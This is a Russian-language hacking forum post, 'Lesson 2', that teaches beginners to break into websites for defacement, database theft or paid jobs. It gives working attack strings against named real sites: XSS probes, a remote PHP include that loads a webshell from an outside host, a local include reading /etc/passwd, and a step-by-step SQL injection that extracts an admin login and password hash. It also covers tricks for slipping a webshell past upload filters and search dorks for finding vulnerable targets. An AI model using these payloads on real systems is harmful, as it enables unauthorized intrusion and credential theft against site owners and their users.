View Single Post
  #1 Old 10-06-2014, 07:54 PM
maximg31
 
maximg31's Avatar
 
Join Date: Oct 2014
Posts: 10
Contact: maximg31@jabber
maximg31 1
Send a message via ICQ to maximg31
Post Урок Хакинга [2]

Основы. Привет читатель. Я решил долго не тянуть и уже в этой статье рассказать о том , какими способами взламывают сайты, какие бывают уязвимости и зачем собственно взламывать сайты . Что вы узнаете на сегодняшнем уроке : Кто и зачем? Какие бывают уязвимости. Веб шелл, как и что. Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны . Найти их значение вы сможете в конце статьи . Кто и зачем? Вообще под понятием взлома я понимаю несанкционированный доступ к чему -либо. Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта , либо просто изменить главную страницу. Все зависит от такого для чего производится взлом. Рассмотрим основные мотивы : Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база Взлом производиться ради повышения прав на сервере . Теперь поговорим о таком понятии как скрипт кидди . Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании . Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее . Так как же они взламывают ? Они попросту используют чужие наработки . Допустим скрипт кидди нужно взломать один форум . Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее . Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты. Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость . Например, он выбирает сплоит для CMS php nuke 7.0. Далее он идет в поисковик и делает следущюий запрос : site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke Далее он просто использует эксплоит. Это кстати называется гугл хакинг . Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше , а некоторые останавливаются на этом. Какие бывают уязвимости ? Три самых тривиальных уязвимостей это xss sql injection php include В каждом уроке я буду рассказывать понемногу про каждую из них . Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости . XSS. Цель у этой уязвимости одна - украсть Cookes файлы. Итак, сначала из за чего появляются Xss Происходит все это из-за отсутствия фильтрации входящих данных Разберем сразу на примере: www.atlant.ws Справа мы видим текстовое поля для поиска . Попробуем ввести простой html тег [hr] И мы увидим линию (в HTML этот тег означает провести линию) В адресной строке мы видим : http:// www.atlant.ws/? set=search&www=false&query= [hr] Значит данные передаются GET запросом. Но от обычного тега опасности никакой . Попробуем ввести простенький javascript сценарий. http://www.atlant.ws/? set=search&www=false&query= [script]alert('xss')[/script] Опа . Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение. Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код . В нашем случае нужно передать его в переменную запроса (q) Кроме пассивных xss существует активные. Опять же пример: http://www.addtop.ru/ kom.php?id=32 Вводим в комментарии скрипт [script]alert('xss')[/script] И отправляем его . Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его . Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти . А в активке нужно, что бы пользователь попросту посетил страницу , в которой уже заключен наш код . Пока про xss все. Не хочу нагружать тебя информацией . Попробуй поискать активные и пассивные xss. Так же советую хорошенько изучить , что такое Cookes. В следующем уроке мы разберем , как их воровать. И зачем. В конце статьи я приведу несколько полезный ссылок на эту тему . Введение в PHP include. Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл . Разберем сначала, что такое веб шелл. Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе . В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл . Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость Видим на сайте такой url: www.site.ru? page=home.html Это значит, что на страничку подгружается файл home.html А что если попробовать подгузить свой файл ? Например, так: www.site.ru? page=http:/ hacker.ru/ webshell.php Так мы пробуем загрузить веб шелл на сайт . Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан. Это называется удаленный инклуд . Удаленный потому что нам удалось загрузить скрипт с другого сервера . Кроме удаленных, инклуды бывают локальные. В этом случае мы сможем только читать файлы на сервере . Например, сейчас мы попробуем прочитать файл с именами пользователей системы : www.site.ru? page=/etc/ passwd Вот, опять же попробуй поискать php include. Советую воспользоваться google: Inurlage= Такой запрос покажет нам сайты , в урле которых присутствует строка “ page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим Кстати если найдешь php инклуд, то можно получить xss вот так: www.site.ru?page= [script]alert(/xss/)[/script] Это работает во многих случаях . В следующем уроке я расскажу о том : почему происходит php include, что такое null byte и трудности при чтении файлов. Введение в SQL Injection Очень распространенная уязвимость . Суть ее использования заключается в том , что бы вытащить необходимую нам информацию из базы данных . Обычно этими данными является логин и пароль администратора сайта . Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по -своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение . Например: http:// www.descom.ch/ main.php? id=18646644 Что бы проверить параметр на sql injection обычно подставляют кавычку http:// www.descom.ch/ main.php? id=18646644' либо другие левые символы Видим ошибку . Понимаем что это mysql. Warning: mysql_fetch_array ():supplied argumentisnot avalidMySQL resultresource in/home/www/ web137/html/ descom/include/ queries.inc.php online19 Что бы вытащить информацию нужно найти кол -во полей и определить какие из них читабельны ( т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by. http:// www.descom.ch/ main.php? id=18646644’+order +by+10/* Вывод то же самый, значит полей меньше http:// www.descom.ch/ main.php? id=18646644+order +by+7/* Да. Вывод изменился. Значит полей 7. Теперь нужно получить читабельные поля . http:// www.descom.ch/ main.php? id=18646644+union +select +1,2,3,4,5,6,7/ * Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select У нас есть колонки. Теперь нужно получить информация о базе. http:// www.descom.ch/ main.php? id=18646644'+union +select +1,2,3,version (),5,6,7/* Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе , но пока разбирать это не будем и попробуем просто подобрать таблицу . Делается это так: http:// www.descom.ch/ main.php? id=18646644'+union +select +1,2,3,version (),5,6,7/+from +таблица/* таблицу нам нужно подобрать самим . Самые распространенная это user или users. В нашем случае мне удалось узнать , что имя таблицы user. Теперь можно приступить к выводу информации . Нам нужно достать логин и пароль . Попробуем: http:// www.descom.ch/ main.php? id=18646644+union +select +1,2,3,name,password,6,7+from +user/* И у нас на экране логин и хеш пароля администратора . Вот таким не хитрым образом удалось поломать базу . Кстати здесь тоже имеет место xss: http:// www.descom.ch/ main.php? id=18646644+union +select+1,2,3, [script]alert(/ xss/)[/ script],5,6,7/* Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию , что бы немного вас завлечь. В следуюих уроках я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ . Так что желательно подучить php и mysql Еще парочка способов загрузить веб шелл . Как ты наверное уже понял главное это веб шелл . Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ На множестве сайтов присутствует возможность загрузки каких либо файлов . Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл . Но не все так просто. Иногда скрипт проверяет разрешение . Допустим нам можно загрузить картинку . Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку . Это можно обойти таким способом: Поменять разрешение на такое : webshell.php.jpg. и возможно нам удастся загрузить шелл . Но бывает, что сайт проверяет не только имя файла , но и его содержимое. Т.е он смотрит картинка это или текст Для этого можно поступить вот так : Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт. Термины, используемые в статье. Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи : Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны . Например "Hacked by вася" CMS или еще говорят движок-двиг - система управления сайтом. Эксплоит - сплоит - exploit-xploit - программа автоматически реализующая какую либо уязвимость . По сути, сплоит можно написать почти на любом язык программирования Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для: аутентификации пользователя ; хранения персональных предпочтений и настроек пользователя ; отслеживания состояния сессии доступа пользователя ; ведения статистики о пользователях . Если мы украдем «Куки» администратора сайта и заменим их на свои , то без проблем сможем аутентифицироваться как админ . В следующей статье я как раз расскажу про воровство Cookes с помощью xss bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении . Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте . Послесловие Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке . И в конце мы поговорим об эксплоитах. На этом пока все. Удачи! ps все уголковые теги заменены на [ и ]
maximg31 is offline   Reply With Quote